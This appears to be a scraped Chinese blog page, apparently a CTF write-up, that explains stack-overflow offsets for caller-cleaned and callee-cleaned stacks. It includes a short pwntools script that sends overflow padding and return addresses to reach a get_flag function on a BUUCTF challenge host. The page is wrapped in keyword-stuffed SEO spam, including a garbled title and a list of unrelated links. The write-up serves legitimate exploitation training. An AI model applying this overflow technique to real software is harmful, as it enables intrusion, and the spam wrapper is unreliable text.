当前位置: 首页 > wzjs >正文

企业官网建设_创意网站建设游戏优化大师

企业官网建设_创意网站建设,游戏优化大师,电子商务网站建设作业文档,有关网站开发的参考文献栈溢出外平栈 1外平栈与内平栈的区别 外平栈: 栈帧的局部变量和返回地址之间没有额外的对齐或填充。返回地址直接位于局部变量的上方(即栈顶方向)。在计算偏移时,不需要额外加 4(因为返回地址紧邻局部变量&#xff09…

栈溢出+外平栈

1外平栈与内平栈的区别

  • 外平栈

    • 栈帧的局部变量和返回地址之间没有额外的对齐或填充。
    • 返回地址直接位于局部变量的上方(即栈顶方向)。
    • 在计算偏移时,不需要额外加 4(因为返回地址紧邻局部变量)。
  • 内平栈

    • 栈帧的局部变量和返回地址之间可能存在对齐或填充(例如,编译器为了对齐而插入的额外空间)。
    • 返回地址与局部变量之间有一定的距离。
    • 在计算偏移时,需要额外加 4(或其他值,具体取决于对齐方式)。

2. add esp, 3Ch; retn 的作用

  • add esp, 3Ch:释放栈上分配的 60 字节空间(3Ch = 60)。
  • retn:从栈顶弹出返回地址并跳转到该地址。

在漏洞利用中,这两条指令通常用于调整栈指针并返回到攻击者控制的地址。


3. 外平栈与内平栈的偏移计算

假设有以下栈布局:

外平栈布局:
+-----------------+
| 局部变量        |  <- esp + 0
+-----------------+
| 返回地址        |  <- esp + 60 (3Ch)
+-----------------+
  • 局部变量与返回地址之间没有额外空间。
  • 在计算偏移时,直接使用 offset = 60,不需要额外加 4。
内平栈布局:
+-----------------+
| 局部变量        |  <- esp + 0
+-----------------+
| 对齐填充        |  <- esp + 60 (3Ch)
+-----------------+
| 返回地址        |  <- esp + 64 (40h)
+-----------------+
  • 局部变量与返回地址之间有 4 字节的对齐填充。
  • 在计算偏移时,需要额外加 4,即 offset = 64

from pwn import *
io = remote("node5.buuoj.cn",28027)
payload = b'a'*56
# get_flag_addr:0x080489A0,exit_addr:0x0804E6A0
payload += p32(0x080489A0) + p32(0x0804E6A0) 
payload += p32(0x308CD64F) + p32(0x195719D1)
io.sendline(payload)
io.interactive()

http://www.dtcms.com/wzjs/262164.html

相关文章:

  • 零基础怎么做网站宁波超值关键词优化
  • 上海做网站要多少钱百度推广的费用
  • 长春火车站在哪肇庆seo按天收费
  • 深圳做网站推广排名厦门百度整站优化服务
  • 教育网站建设情况报告上海今天最新发布会
  • 义乌做公司网站买链接官网
  • 诸暨有哪些好网站制作公司百度首页百度一下
  • 贵阳网站建设开发免费b站推广软件
  • 学网站建设需要学多久网络营销pdf
  • 中通顺昌建设有限公司网站2023年8月疫情恢复
  • 返利网站建设短视频seo优化
  • 做除尘环保的如何推广自己的网站新闻稿发布软文平台
  • 门户网站 建设方案深圳全网营销方案
  • 黄金做空网站免费建立个人网站凡科
  • 专业网站优化报价seo网络推广排名
  • 海南房地产网站建设广州网站优化排名
  • win2008iis7配置网站长沙网
  • 备案的时候需要网站吗seo关键词搜索优化
  • 帮朋友做网站的坑hyein seo官网
  • wordpress 后台路径修改免费下载优化大师
  • 镇海建设交通局网站首页我想做地推怎么找渠道
  • java 音乐网站开发网络推广有哪些途径
  • 网站制作广告什么是网站推广?
  • 济南网站建设正规公司网络营销介绍
  • 比价网站源码整站程序网络服务器的作用
  • wordpress表结构写入不全东莞seo网络公司
  • 郑州网站修改建设百度网盘下载电脑版官方下载
  • 郑州网站推广¥做下拉去118cr电子商务网站设计方案
  • 企业公司seo站长
  • 微信网站开发怎么做宁波的网络营销服务公司